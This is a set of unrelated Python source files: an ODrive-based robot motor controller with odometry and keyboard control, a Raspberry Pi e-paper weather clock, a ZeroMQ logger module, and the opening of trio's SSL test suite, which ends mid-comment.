from logging import config from .rp1interface import RP1Controller from typing import Dict from .typings import Odrive as Odrv, Axis #For type checking etc import odrive from odrive.enums import * import time from time import perf_counter, sleep import logging import threading import math class LowLevelInterface(): drives_started = False #Flag to indicate if the controller and drives are connected and started is_ready = False #Flag to indicate if drives are in closed loop control mode and ready to recieve thread_updating = False #Flag to indicate thread is running and odometry is being updated loop_run_flag = False #Flag for loop to continue running loop_complete_flag = False #main_loop() sets this high to indicate it is not hanging loop_thread = None #Handle to the loop thread axis_state = AXIS_STATE_IDLE target_linear = (0,0) target_angular = 0 target_motor = {"axis_FL": 0, "axis_FR": 0, "axis_BL": 0, "axis_BR": 0} #Targets for each motor in rps target_updated_flag = False #Part of watchdog and checkstate, set high when new command is recieved. If low for too long will stop odrive or watchdog will fire. target_changed_flag = False #Determines if input target is changed. Done when a new target is recieved to avoid sending new commands as a result of transform floating point errors odom_motor_pos_last = {"axis_FL": 0, "axis_FR": 0, "axis_BL": 0, "axis_BR": 0} #Targets for each motor in rps odom_updated_time = 0 odom_linear = (0,0) odom_angular = 0 def __init__(self, main_controller: RP1Controller, external_watchdog = False, debug_func = False): self.main_controller = main_controller #Parent controller, needed for access to model, configuration etc self.config = self.main_controller.config #Config file containing serial numbers etc self.model = self.main_controller.config.model #Kinematic model of the robot self.logger = logging.getLogger(__name__) #Creates a logger for use with the base logger if debug_func: #Debug mode to only connect to one drive and axis self.logger.warning(" - Started LLI in debug mode") self.connect_drives = debug_func self.connect_drives(self) else: self.logger.info(" - Starting LLI") self.connect_drives() sleep(1) #TODO debug code, reduce or remove self.prepare_drives() return def main_loop(self): while self.loop_run_flag: #time_start = perf_counter() if not self.check_state(): #Checks everything is in correct state etc self.is_ready = False self.logger.warning(" - LLI Loop Error: State check unsucessful. Loop aborting") break self.update_odometry() self.axis_feed_watchdog() self.loop_complete_flag = True if self.target_changed_flag: self.apply_motor_targets() self.target_changed_flag = False #time_taken = perf_counter()-time_start #print(f"Time taken for LLI loop: {time_taken}") #sleep(0.05) #TODO reduce if this does not cause issues self.logger.info(" - LLI loop shutting down") self.thread_updating = False self.is_ready = False self.drives_started = False #Indicate closed loop control cannot be started until controller successfully enters an idle state self.axis_set_state(AXIS_STATE_IDLE)# set axis.state to idle if self.check_state(): self.drives_started = True #Set system ready if shutdown was successful and no errors reported. def apply_motor_targets(self, log = False): for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] target_rps = self.target_motor[axis_name] if log: self.logger.debug("{name}: - Setting target to {tar}".format(name = axis_name, tar = target_rps)) axis.controller.input_vel = target_rps #Sets driver target measured_abs_input_vel = abs(axis.controller.input_vel) if (measured_abs_input_vel > abs(target_rps)+0.1 or measured_abs_input_vel < abs(target_rps) - 0.1): self.logger.error("{name} - Target Error: Unexpected velocity input. Expected: {t}, currently: {c}".format(name = axis_name, t = target_rps, c = axis.controller.input_vel)) return def update_odometry(self): """Updates odometry based on wheel position. Position chosen over velocity as it is likely to be more stable and resistant to varying polling times""" motor_pos_current = {} for axis_name in self.axes_dict: #get current pos axis: Axis = self.axes_dict[axis_name] pos = axis.encoder.pos_estimate #Get current position in revolutions motor_pos_current.update({axis_name: pos}) time_current = time.time() d_time = time_current-self.odom_updated_time current_motor_speed_rad = {} #Current motor angular velocity in radians for axis_name in self.axes_dict: #get current angular speed of motor rps = (motor_pos_current[axis_name] - self.odom_motor_pos_last[axis_name])/d_time rad = self.rps_to_radians(rps) current_motor_speed_rad.update({axis_name: rad}) linear_x, linear_y, angular = self.model.transform_velocity_motor_to_base(current_motor_speed_rad) if(d_time<0.5): self.odom_linear = (linear_x, linear_y) self.odom_angular = angular else: self.logger.warning(" - Odometry Warning: Time since last update: {}".format(d_time)) self.odom_updated_time = time_current self.odom_motor_pos_last = motor_pos_current #print(f"Odometry updated at {time_current:.2f}. Speed is X:{linear_x:.2f} Y:{linear_y:.2f} R:{angular:.2f}") #TODO REMOVE --------------------- return def set_target(self, linear: tuple, angular: float, log = False): #TODO maybe use custom object or dictionary if (self.target_linear == linear) and (self.target_angular == angular): #If new command recieved but not changed exit without updating self.target_updated_flag = True return self.target_linear = linear self.target_angular = angular self.target_changed_flag = True self.target_updated_flag = True if self.axis_state == AXIS_STATE_CLOSED_LOOP_CONTROL: self.set_motor_target(log) #If new target then set motors return def set_motor_target(self, log = False): t_linear = self.target_linear t_angular = self.target_angular t_motors = self.model.transform_velocity_base_to_motor(t_linear[0], t_linear[1], t_angular) for axis_name in self.axes_dict: axis = self.axes_dict[axis_name] target_rad = t_motors[axis_name] target_rps = self.radians_to_rps(target_rad) self.target_motor[axis_name] = target_rps return True def set_motor_target_direct(self,targ_motor: Dict[str, float]): #TODO remove? """Test function for direct control of motors. Inputs for each motor in rotations per second""" self.logger.debug(" - Setting target in Debug Mode to {}".format(targ_motor)) if self.target_motor == targ_motor: self.target_updated_flag = True else: self.target_motor = targ_motor self.target_updated_flag = True self.target_changed_flag = True #Apply targets to motor with some checking that it was successful successful = True for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] target_rps = self.target_motor[axis_name] self.logger.debug("{name}: - Attempting to set target to {tar}".format(name = axis_name, tar = target_rps)) axis.controller.input_vel = target_rps if (abs(axis.controller.input_vel) > abs(target_rps)+0.1 or abs(axis.controller.input_vel) < abs(target_rps) - 0.1): self.logger.error("{name} - Target Error: Unexpected velocity input. Expected: {t}, currently: {c}".format(name = axis_name, t = target_rps, c = axis.controller.input_vel)) successful = False return successful def soft_stop(self): #TODO #Sets target speed of all wheels to be 0, only returns true when this is complete #Should call hard stop if this takes too long return True def hard_stop(self): #TODO #Should cut power to motors return def start_loop(self): """Starts the main loop in it's own thread""" self.check_state(True) if not self.drives_started: self.logger.warning(" - LLC Loop could not be started as system is not ready") return False self.loop_run_flag = True if self.axis_state ==AXIS_STATE_CLOSED_LOOP_CONTROL: self.is_ready = True else: self.logger.warning(" - Loop Warning: Starting loop in axis_state: {}".format(self.axis_state)) self.logger.info(" - Starting LLC Loop") self.loop_thread = threading.Thread(target=self.main_loop) self.thread_updating = True self.axis_feed_watchdog() self.axis_enable_watchdog(disable=False) self.loop_thread.start() return True def stop_loop(self): """Stops the main thread if it exists""" self.logger.debug(" - Attempting to stop LLC loop...") if self.loop_thread is not None: self.soft_stop() self.loop_run_flag = False self.loop_thread.join() self.logger.debug(" - LLC loop stopped successfully") if self.drives_started: self.logger.info(" - LLC in idle state") else: self.logger.debug(" - no LLC loop to stop") return True def connect_drives(self): """Starts front and rear Odrives""" def get_drive(serial: str = "")->Odrv: #TODO add individual time limit so problematic drive can be more readily identified self.logger.debug(" - Attempting connection with Odrive {}".format(serial)) drive = odrive.find_any(serial_number=serial) self.logger.debug(" - Odrive {} connected successfully".format(serial)) return drive def get_axis(drive: Odrv, index: int = 0): if index == 0: return drive.axis0 elif index == 1: return drive.axis1 else: self.logger.error(" - Drive Error: {} is not a valid axis index".format(index)) return None self.logger.debug(" - Attempting to connect to Odrives") #TODO this needs a time limit for whole start up sequence self.odrvF = get_drive(self.config.odrvF_serial_number) #Connect both Odrives self.odrvB = get_drive(self.config.odrvB_serial_number) self.axes_dict = {} #Convenience dictionary for iterating throgh each axis self.axis_FL = get_axis(self.odrvF, 1) ; self.axes_dict.update({"axis_FL" : self.axis_FL}) #Get each axis, assign handle and add to dict self.axis_FR = get_axis(self.odrvF, 0) ; self.axes_dict.update({"axis_FR" : self.axis_FR}) self.axis_BL = get_axis(self.odrvB, 0) ; self.axes_dict.update({"axis_BL" : self.axis_BL}) self.axis_BR = get_axis(self.odrvB, 1) ; self.axes_dict.update({"axis_BR" : self.axis_BR}) self.logger.info(" - Drives Connected") def prepare_drives(self): self.logger.debug(" - Preparing drives") if not self.check_errors(True): #Check errors self.drives_started = False return False if not self.update_configuration(): #Adjsts odrive config based on rp1 config file, max speed etc self.drives_started = False return False self.axis_enable_watchdog(disable=True) #Disable watchdog before enabling later self.axis_set_motor_current(self.config.motor_current_limit) #Current limit of motors self.axis_set_control_mode(CONTROL_MODE_VELOCITY_CONTROL) #Puts control mode into direct drive mode self.axis_set_input_mode(INPUT_MODE_VEL_RAMP, self.config.vel_ramp_rate) #Turn on direct velocity control self.axis_set_state(AXIS_STATE_CLOSED_LOOP_CONTROL) #change axes states if not self.check_state(): #Check errors self.drives_started = False return False #TODO check is ready (encoder ready, motor ready etc) This will need to be disabled for testing self.drives_started = True self.logger.info(" - Drives started and ready") return True def axis_enable_watchdog(self, disable = False): self.axis_feed_watchdog() for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] watchdog_timeout = 2 #TODO May need to adust if disable: axis.config.watchdog_timeout = 0 #Time in seconds until watchdog expires, only affects if odrive is disconnected from PC or code hangs axis.config.enable_watchdog = False #TODO this likely goes true when the watchdog expires else: axis.config.watchdog_timeout = watchdog_timeout #Time in seconds until watchdog expires, only affects if odrive is disconnected from PC or code hangs axis.watchdog_feed() axis.config.enable_watchdog = True if axis.config.watchdog_timeout != watchdog_timeout:# or not axis.config.enable_watchdog: self.logger.error("{name}: - Watchdog Error: Watchdog was not successfully enabled".format(name = axis_name)) return def axis_feed_watchdog(self): for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] axis.watchdog_feed() return def axis_set_state(self, state = AXIS_STATE_IDLE): """Changes each axis state. Returns true if successful""" self.logger.debug(' - Performing full axis state change to {}'.format(state)) self.axis_state = state for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] if axis.current_state != AXIS_STATE_IDLE and state != AXIS_STATE_IDLE: #TODO this is debug code self.logger.warning("{name}: - State Error: Current state is {current} and not IDLE. Attempting to fix...".format(name = axis_name, current = axis.current_state)) axis.requested_state = AXIS_STATE_IDLE sleep(0.1) self.logger.info("{name}: - State Error: Current state is {current}".format(name = axis_name, current = axis.current_state)) self.logger.debug("{name}: - Setting state to {state}".format(state=state, name=axis_name)) axis.requested_state = state sleep(0.02) error = False for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] if axis.current_state != state: self.logger.error("{name}: - State Error: Current state is {current} when {req} was requested.".format(name = axis_name, current = axis.current_state, req = state)) error = True else: self.logger.debug("{name}: - State change to {req} was successfull".format(name = axis_name, req = state)) if error: return False else: return True def axis_set_control_mode(self, mode = CONTROL_MODE_VELOCITY_CONTROL): """Sets the control mode of each axis, should be velocity usually""" #Sets the control mode to be direct velocity control for each axis for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] axis.controller.config.control_mode = mode sleep(0.1) #TODO Remove or reduce if axis.controller.config.control_mode != mode: self.logger.error("{name}: - Controller Error: Current mode is {current} when {req} was requested.".format(name = axis_name, current = axis.controller.config.control_mode, req = mode)) return def axis_set_input_mode(self, mode = INPUT_MODE_PASSTHROUGH, ramp_rate = 0): """Sets input mode for each axis to be passthrhough unless otherwise specified""" for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] if mode == INPUT_MODE_VEL_RAMP and ramp_rate != 0: axis.controller.config.vel_ramp_rate = ramp_rate axis.controller.config.input_mode = mode return def axis_set_motor_current(self, motor_current = 10): for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] axis.motor.config.current_lim = motor_current return def rps_to_radians(self,rps): return rps*(2*math.pi) def radians_to_rps(self,rad): return rad/(2*math.pi) def update_configuration(self): #TODO #Updates the configuration of the axes based on latest config file (or config object) # TODO check whether handle to master config file updates correctly when modified # Potentially only update in idle mode? or only for some parameters? Maybe full config update if needed #ramping constants etc for axis_name in self.axes_dict: axis: Axis = self.axes_dict[axis_name] axis.controller.config.pos_gain = self.main_controller.config.pos_gain axis.controller.config.vel_gain = self.main_controller.config.vel_gain axis.controller.config.vel_integrator_gain = self.main_controller.config.vel_integrator_gain axis.controller.config.vel_ramp_rate = self.main_controller.config.vel_ramp_rate return True def check_errors(self, startup = False, log = False): """Checks for errors in any axis, returns true if no error is found. If startup is true this will reset any SPI errors""" if startup: self.check_spi_errors() error_present = False for axis_name in self.axes_dict: #Iterate through axes axis = self.axes_dict[axis_name] axis_error = axis.error #Copy error values only once to reduce polling time TODO that didnt work for some reason motor_error = axis.motor.error encoder_error = axis.encoder.error controller_error = axis.controller.error if (axis_error+motor_error+encoder_error+controller_error>0): error_present = True self.logger.warning("{}: - Error detected on axis".format(axis_name)) if (axis_error>0): self.logger.error("{name}: - Axis Error: {error}".format(name = axis_name, error = axis_error)) if (motor_error>0): self.logger.error("{name}: - Motor Error: {error}".format(name = axis_name, error = motor_error)) if (encoder_error>0): self.logger.error("{name}: - Encoder Error: {error}".format(name = axis_name, error = encoder_error)) if (controller_error>0): self.logger.error("{name}: - Controller Error:{error}".format(name = axis_name, error = controller_error)) if error_present: return False else: if log: self.logger.debug(' - Errors checked, none found') return True def check_spi_errors(self): """Check for errors in all axes, will attempt to reset any SPI errors once. Returns true if no error is found""" sleep(0.1) for axis_name in self.axes_dict: #Iterate through axes axis = self.axes_dict[axis_name] encoder_error = axis.encoder.error if((encoder_error == ENCODER_ERROR_ABS_SPI_COM_FAIL or encoder_error == ENCODER_ERROR_ABS_SPI_NOT_READY)): self.logger.warning("{name}: - SPI Error: {error}. Attempting to reset...".format(name = axis_name, error = axis.encoder.error)) axis.clear_errors() #Clears existing errors sleep(0.1) #wait again to see if error reappears encoder_error = axis.encoder.error if((encoder_error == ENCODER_ERROR_ABS_SPI_COM_FAIL or encoder_error == ENCODER_ERROR_ABS_SPI_NOT_READY)): #Looks for errors again self.logger.info("{name}: - SPI Error was reset successfully".format(name = axis_name)) else: self.logger.error("{name}: - SPI Error: {error}. Reset unsuccessful".format(name = axis_name, error = axis.encoder.error)) return def check_state(self, full_check = False, log = False): #TODO return_val = True if full_check: if log: self.logger.debug(" - Full state check started...") #TODO # check things like voltages current etc #Log #check if system is in correct state #check time since last command, set velocity taget to 0 if too long # stop loop if error or problem found if not self.check_errors(): self.drives_started = False return_val = False if ((not self.drives_started) and (self.is_ready or self.loop_run_flag)): return_val = False if return_val: if log: self.logger.debug(" - State check sucessfull") else: self.logger.error(" - State check failed") return return_val #TODO More comprehensive check errors, also check voltages etc and potentially logs them def debug_connect_drives(self): """debug version of start drives with only one axis""" def get_drive(serial: str = "")->Odrv: #TODO add individual time limit so problematic drive can be more readily identified self.logger.debug(" - Attempting connection with Odrive {}".format(serial)) drive = odrive.find_any(serial_number=serial) self.logger.debug(" - Odrive {} connected successfully".format(serial)) return drive def get_axis(drive: Odrv, index: int = 0)->Axis: if index == 0: return drive.axis0 elif index == 1: return drive.axis1 else: #TODO throw proper error return False self.logger.debug(" - Attempting to connect to Odrives") #TODO this needs a time limit for whole start up sequence self.odrvF = get_drive(self.config.odrvF_serial_number) #Connect both Odrives self.axes_dict = {} #Convenience dictionary for iterating throgh each axis self.axis_FL = get_axis(self.odrvF, 0) ; self.axes_dict.update({"axis_FL" : self.axis_FL}) #Get each axis, assign handle and add to dict self.logger.info(" - Drive Connected") return True def get_target(target): tar = {"axis_FL": target} return tar def get_single_target(axis_name: str, val: float): tar = {"axis_FL": 0, "axis_FR": 0, "axis_BL": 0, "axis_BR": 0} tar[axis_name] = val return tar def debug_update_target(x,y,w,llc): llc.set_target((x,y),w) print("Target: x:{x}, y:{y}, w:{w}".format(x=x,y=y,w=w)) def print_odom(llc): x, y = llc.odom_linear w = llc.odom_angular print("Base_X: {x}, Base_Y: {y}, Base_w: {w}\n".format(x =x,y=y,w=w)) if __name__ == "__main__": import keyboard HLC = RP1Controller() cnt = LowLevelInterface(HLC) speed_linear = 2 speed_radial = 0.8 cnt.start_loop() loop = True def fwd(): cnt.set_target((speed_linear,0),0) sleep(0.1) cnt.set_target((0,0),0) def bck(): cnt.set_target((-speed_linear,0),0) sleep(0.1) cnt.set_target((0,0),0) def lft(): cnt.set_target((0,-speed_linear),0) sleep(0.1) cnt.set_target((0,0),0) def rgt(): cnt.set_target((0,speed_linear),0) sleep(0.1) cnt.set_target((0,0),0) def rot_left(): cnt.set_target((0,0),-speed_radial) sleep(0.1) cnt.set_target((0,0),0) def rot_rgt(): cnt.set_target((0,0),speed_radial) sleep(0.1) cnt.set_target((0,0),0) def stp(): cnt.set_target((0,0),0) def shut_down(): cnt.stop_loop() loop = False keyboard.add_hotkey('w', fwd) keyboard.add_hotkey('s', bck) keyboard.add_hotkey('a', lft) keyboard.add_hotkey('d', rgt) keyboard.add_hotkey('q', rot_left) keyboard.add_hotkey('e', rot_rgt) keyboard.add_hotkey(' ', stp) keyboard.add_hotkey('r', stp) keyboard.add_hotkey('t', shut_down) while(loop): sleep(1) pass #cnt.stop_loop()
display.py
from papirus import Papirus from datetime import datetime import time from keys import weatherApiKey import geocoder from PIL import Image, ImageDraw, ImageFont import threading import requests DEBUG = False REGULAR_FONT_PATH = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf" BOLD_FONT_PATH = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf" HEADING_SIZE = 35 SUBHEADING_SIZE = 20 REGULAR_SIZE = 15 SMALL_SIZE = 12 HEADING_FONT = ImageFont.truetype(BOLD_FONT_PATH, HEADING_SIZE) HEADING_CHAR_WIDTH = HEADING_FONT.getsize("0")[0] SUBHEADING_FONT = ImageFont.truetype(REGULAR_FONT_PATH, SUBHEADING_SIZE) SUBHEADING_CHAR_WIDTH = SUBHEADING_FONT.getsize("0")[0] REGULAR_FONT = ImageFont.truetype(REGULAR_FONT_PATH, REGULAR_SIZE) REGULAR_CHAR_WIDTH = REGULAR_FONT.getsize("0")[0] SMALL_FONT = ImageFont.truetype(REGULAR_FONT_PATH, SMALL_SIZE) SMALL_CHAR_WIDTH = SMALL_FONT.getsize("0")[0] SPACING = 5 WEATHER_ICON_SIZE = 48 WEATHER_ICON_BASE_PATH = "/home/pi/projects/rpz_status/weather_icons/" SCREEN_WIDTH, SCREEN_HEIGHT = 200, 96 WHITE, BLACK = 1, 0 WEATHER_ICON= { "01d": "icons8-sun-90.png", "01n": "icons8-moon-and-stars-90.png", "02d": "icons8-partly-cloudy-day-90.png", "02n": "icons8-night-90.png", "03d": "icons8-clouds-90.png", "03n": "icons8-clouds-90.png", "04d": "icons8-onedrive-90.png", "04n": "icons8-onedrive-90.png", "09d": "icons8-rain-90.png", "09n": "icons8-rain-90.png", "10d": "icons8-rain-cloud-90.png", "10n": "icons8-rainy-night-90.png", "11d": "icons8-storm-90.png", "11n": "icons8-storm-90.png", "13d": "icons8-snow-90.png", "13n": "icons8-snow-90.png", "50d": "icons8-fog-90.png", "50n": "icons8-fog-90.png", "UNKNOWN": "icons8-query-90.png" } data = { "firstUpdate": True, "now": datetime.now(), "prevMinute": -1, "prevHour": -1, "currentScreenUpdate": None, "epd": None, "image": None, "draw": None, "weatherData": { "currentWeatherIcon": WEATHER_ICON_BASE_PATH + WEATHER_ICON["01d"], "currentWeatherImage": Image.open(WEATHER_ICON_BASE_PATH + WEATHER_ICON["01d"]).resize((WEATHER_ICON_SIZE, WEATHER_ICON_SIZE)), "retryWeather": False, "data": { "main": { "temp": 0, "feels_like": 0, "temp_min": 0, "temp_max": 0 } } } } def init(): if(DEBUG): print("Starting...") data["currentScreenUpdate"] = statusUpdate data["epd"] = Papirus() data["image"] = Image.new('1', data["epd"].size, WHITE) data["draw"] = ImageDraw.Draw(data["image"]) data["epd"].clear() def deinit(): data["epd"].clear() # Main Loop def main(): while(True): updateScreen( data["prevMinute"] != data["now"].minute or data["firstUpdate"] ) updateValues() # Sleep time.sleep(1) # Contains the update logic to push changes to the screen. Does not draw to screen def updateScreen(shouldUpdate): if not shouldUpdate: return if(DEBUG): print("Main Update") # Clear the screen data["draw"].rectangle([(0,0), (SCREEN_WIDTH, SCREEN_HEIGHT)], fill=WHITE, outline=WHITE) # Update the screen data["currentScreenUpdate"]() data["epd"].display(data["image"]) if(data["now"].hour != data["prevHour"]): data["epd"].clear() if(data["now"].minute % 10 == 0 or data["firstUpdate"]): data["epd"].update() else: data["epd"].partial_update() data["firstUpdate"] = False # Updates the global values used in the main loop def updateValues(): # Update values data["prevMinute"] = data["now"].minute data["prevHour"] = data["now"].hour # Get current time data["now"] = datetime.now() def fetchWeatherData(): if DEBUG: print("Getting weather data") lat, long = geocoder.ip('me').latlng params = { "lat": str(lat), "lon": str(long), "appid": weatherApiKey, "units": "metric" } response = requests.get("https://api.openweathermap.org/data/2.5/weather", params=params) if(not response.ok): data["retryWeather"] = True print("Get weather failed for the following reason") print(str(response.status_code) + ": " + response.reason) return json = response.json() data["weatherData"]["data"] = json if json["weather"][0]["icon"] in WEATHER_ICON: data["weatherData"]["currentWeatherIcon"] = WEATHER_ICON_BASE_PATH + WEATHER_ICON[json["weather"][0]["icon"]] else: data["weatherData"]["currentWeatherIcon"] = WEATHER_ICON_BASE_PATH + WEATHER_ICON["UNKNOWN"] data["weatherData"]["currentWeatherImage"] = Image.open(data["weatherData"]["currentWeatherIcon"]).resize((WEATHER_ICON_SIZE, WEATHER_ICON_SIZE)) if DEBUG: print("Finished Weather fetching") # Update and draw the status page def statusUpdate(): isNextMinute = data["prevMinute"] != data["now"].minute # Weather Update if( (data["now"].minute % 10 == 0 and isNextMinute) or data["firstUpdate"] or (data["weatherData"]["retryWeather"] and isNextMinute) ): weatherFetcher = threading.Thread(target=fetchWeatherData) weatherFetcher.start() if(data["firstUpdate"]): weatherFetcher.join() # Draw Update if(isNextMinute or data["firstUpdate"]): if(DEBUG): print("Status Update") # Update the time currentTime = data["now"].strftime("%H:%M") currentDay = data["now"].strftime("%A") currentDate = data["now"].strftime("%b %d") # Draw the time data["draw"].text((SPACING, SPACING), currentTime, fill=BLACK, font=HEADING_FONT) data["draw"].text((SPACING, (2*SPACING) + HEADING_SIZE), currentDay, fill=BLACK, font=SUBHEADING_FONT) data["draw"].text((SPACING, (3*SPACING) + HEADING_SIZE + REGULAR_SIZE), currentDate, fill=BLACK, font=SUBHEADING_FONT) # Draw the weather timeWidth = (HEADING_CHAR_WIDTH * len(currentTime)) + SPACING weatherX = round((SCREEN_WIDTH - timeWidth - WEATHER_ICON_SIZE)/2 + timeWidth) data["image"].paste(data["weatherData"]["currentWeatherImage"], (weatherX, SPACING)) temp = round(data["weatherData"]["data"]["main"]["temp"]) tempText = f"{temp}\u00b0C" tempWidth = len(tempText) * SUBHEADING_CHAR_WIDTH feelsLike = round(data["weatherData"]["data"]["main"]["feels_like"]) if(feelsLike == temp): feelsLikeText = "" else: feelsLikeText = f"{feelsLike}\u00b0C" feelsLikeWidth = len(feelsLikeText) * SMALL_CHAR_WIDTH tempX = (SCREEN_WIDTH - timeWidth - (tempWidth + feelsLikeWidth))/2 + timeWidth feelsLikeX = tempX + tempWidth highTemp = round(data["weatherData"]["data"]["main"]["temp_max"]) lowTemp = round(data["weatherData"]["data"]["main"]["temp_min"]) highLowText = f"{lowTemp}\u00b0C/{highTemp}\u00b0C" highLowWidth = len(highLowText) * REGULAR_CHAR_WIDTH highLowX = (SCREEN_WIDTH - timeWidth - highLowWidth)/2 + timeWidth data["draw"].text((tempX, SPACING + WEATHER_ICON_SIZE), tempText, fill=BLACK, font=SUBHEADING_FONT) data["draw"].text((feelsLikeX, SPACING + WEATHER_ICON_SIZE + (SUBHEADING_SIZE - SMALL_SIZE)), feelsLikeText, fill=BLACK, font=SMALL_FONT) data["draw"].text((highLowX, SPACING + WEATHER_ICON_SIZE + SUBHEADING_SIZE + 2), highLowText, fill=BLACK, font=REGULAR_FONT) if __name__ == "__main__": try: print("Starting...") init() main() finally: print("Ending...") deinit()
logzeromq.py
""" Logger for ZeroMQ communication """ from threading import Thread import zmq from osgar.bus import BusShutdownException class LogZeroMQ: def __init__(self, config, bus): bus.register('raw:gz' if config.get('save_data', False) else 'raw:null', 'response', 'timeout') mode = config['mode'] self.endpoint = config['endpoint'] self.timeout = config.get('timeout', 1) # default recv timeout 1s if mode == 'PULL': self.thread = Thread(target=self.run_input) elif mode == 'PUSH': self.thread = Thread(target=self.run_output) elif mode == 'REQ': self.thread = Thread(target=self.run_reqrep) else: assert False, mode # unknown/unsupported mode self.thread.name = bus.name self.bus = bus def start(self): self.thread.start() def join(self, timeout=None): self.thread.join(timeout=timeout) def run_input(self): context = zmq.Context() socket = context.socket(zmq.PULL) # https://stackoverflow.com/questions/7538988/zeromq-how-to-prevent-infinite-wait socket.RCVTIMEO = int(self.timeout * 1000) # convert to milliseconds socket.connect(self.endpoint) while self.bus.is_alive(): try: message = socket.recv() self.bus.publish('raw', message) except zmq.error.Again: pass socket.close() context.term() def run_output(self): context = zmq.Context() socket = context.socket(zmq.PUSH) # https://stackoverflow.com/questions/24619490/how-do-i-clear-the-buffer-upon-start-exit-in-zmq-socket-to-prevent-server-from # ZMQ_LINGER: Set linger period for socket shutdown # The default value of -1 specifies an infinite linger period. # Pending messages shall not be discarded after a call to # zmq_close(); attempting to terminate the socket's context with # zmq_term() shall block until all pending messages have been sent # to a peer. socket.setsockopt(zmq.LINGER, 100) # milliseconds socket.connect(self.endpoint) try: while True: dt, __, data = self.bus.listen() while self.bus.is_alive(): try: socket.send(data, zmq.NOBLOCK) break except zmq.error.Again: self.bus.sleep(0.1) except BusShutdownException: pass socket.close() context.term() def run_reqrep(self): context = zmq.Context() socket = context.socket(zmq.REQ) socket.RCVTIMEO = int(self.timeout * 1000) # convert to milliseconds socket.connect(self.endpoint) try: while True: dt, __, data = self.bus.listen() token, request = data socket.send_string(request) while self.bus.is_alive(): try: resp = socket.recv().decode('ascii') self.bus.publish('response', [token, resp]) break except zmq.error.Again: self.bus.publish('timeout', [token, True]) except BusShutdownException: pass socket.close() context.term() def request_stop(self): self.bus.shutdown() # vim: expandtab sw=4 ts=4
test_ssl.py
import pytest import threading import socket as stdlib_socket import ssl from contextlib import contextmanager from functools import partial from OpenSSL import SSL import trustme from async_generator import async_generator, yield_, asynccontextmanager import trio from .. import _core from .._highlevel_socket import SocketStream, SocketListener from .._highlevel_generic import aclose_forcefully from .._core import ClosedResourceError, BrokenResourceError from .._highlevel_open_tcp_stream import open_tcp_stream from .. import socket as tsocket from .._ssl import SSLStream, SSLListener, NeedHandshakeError from .._util import ConflictDetector from .._core.tests.tutil import slow from ..testing import ( assert_checkpoints, Sequencer, memory_stream_pair, lockstep_stream_pair, check_two_way_stream, ) # We have two different kinds of echo server fixtures we use for testing. The # first is a real server written using the stdlib ssl module and blocking # sockets. It runs in a thread and we talk to it over a real socketpair(), to # validate interoperability in a semi-realistic setting. # # The second is a very weird virtual echo server that lives inside a custom # Stream class. It lives entirely inside the Python object space; there are no # operating system calls in it at all. No threads, no I/O, nothing. It's # 'send_all' call takes encrypted data from a client and feeds it directly into # the server-side TLS state engine to decrypt, then takes that data, feeds it # back through to get the encrypted response, and returns it from 'receive_some'. This # gives us full control and reproducibility. This server is written using # PyOpenSSL, so that we can trigger renegotiations on demand. It also allows # us to insert random (virtual) delays, to really exercise all the weird paths # in SSLStream's state engine. # # Both present a certificate for "trio-test-1.example.org". TRIO_TEST_CA = trustme.CA() TRIO_TEST_1_CERT = TRIO_TEST_CA.issue_server_cert("trio-test-1.example.org") SERVER_CTX = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) TRIO_TEST_1_CERT.configure_cert(SERVER_CTX) CLIENT_CTX = ssl.create_default_context() TRIO_TEST_CA.configure_trust(CLIENT_CTX) # Temporarily disable TLSv1.3, until the issue with openssl's session # ticket handling is sorted out one way or another: # https://github.com/python-trio/trio/issues/819 # https://github.com/openssl/openssl/issues/7948 # https://github.com/openssl/openssl/issues/7967 if hasattr(ssl, "OP_NO_TLSv1_3"): CLIENT_CTX.options |= ssl.OP_NO_TLSv1_3 # The blocking socket server. def ssl_echo_serve_sync(sock, *, expect_fail=False): try: wrapped = SERVER_CTX.wrap_socket( sock, server_side=True, suppress_ragged_eofs=False ) wrapped.do_handshake() while True: data = wrapped.recv(4096) if not data: # other side has initiated a graceful shutdown; we try to # respond in kind but it's legal for them to have already gone # away. exceptions = (BrokenPipeError, ssl.SSLZeroReturnError) # Under unclear conditions, CPython sometimes raises # SSLWantWriteError here. This is a bug (bpo-32219), but it's # not our bug, so ignore it. exceptions += (ssl.SSLWantWriteError,) try: wrapped.unwrap() except exceptions: pass return wrapped.sendall(data) except Exception as exc: if expect_fail: print("ssl_echo_serve_sync got error as expected:", exc) else: # pragma: no cover print("ssl_echo_serve_sync got unexpected error:", exc) raise else: if expect_fail: # pragma: no cover raise RuntimeError("failed to fail?") # Fixture that gives a raw socket connected to a trio-test-1 echo server # (running in a thread). Useful for testing making connections with different # SSLContexts. @asynccontextmanager @async_generator async def ssl_echo_server_raw(**kwargs): a, b = stdlib_socket.socketpair() async with trio.open_nursery() as nursery: # Exiting the 'with a, b' context manager closes the sockets, which # causes the thread to exit (possibly with an error), which allows the # nursery context manager to exit too. with a, b: nursery.start_soon( trio.run_sync_in_thread, partial(ssl_echo_serve_sync, b, **kwargs) ) await yield_(SocketStream(tsocket.from_stdlib_socket(a))) # Fixture that gives a properly set up SSLStream connected to a trio-test-1 # echo server (running in a thread) @asynccontextmanager @async_generator async def ssl_echo_server(**kwargs): async with ssl_echo_server_raw(**kwargs) as sock: await yield_( SSLStream( sock, CLIENT_CTX, server_hostname="trio-test-1.example.org" ) ) # The weird in-memory server ... thing. # Doesn't inherit from Stream because I left out the methods that we don't # actually need. class PyOpenSSLEchoStream: def __init__(self, sleeper=None): ctx = SSL.Context(SSL.SSLv23_METHOD) # TLS 1.3 removes renegotiation support. Which is great for them, but # we still have to support versions before that, and that means we # need to test renegotation support, which means we need to force this # to use a lower version where this test server can trigger # renegotiations. Of course TLS 1.3 support isn't released yet, but # I'm told that this will work once it is. (And once it is we can # remove the pragma: no cover too.) Alternatively, once we drop # support for CPython 3.5 on macOS, then we could switch to using # TLSv1_2_METHOD. # # 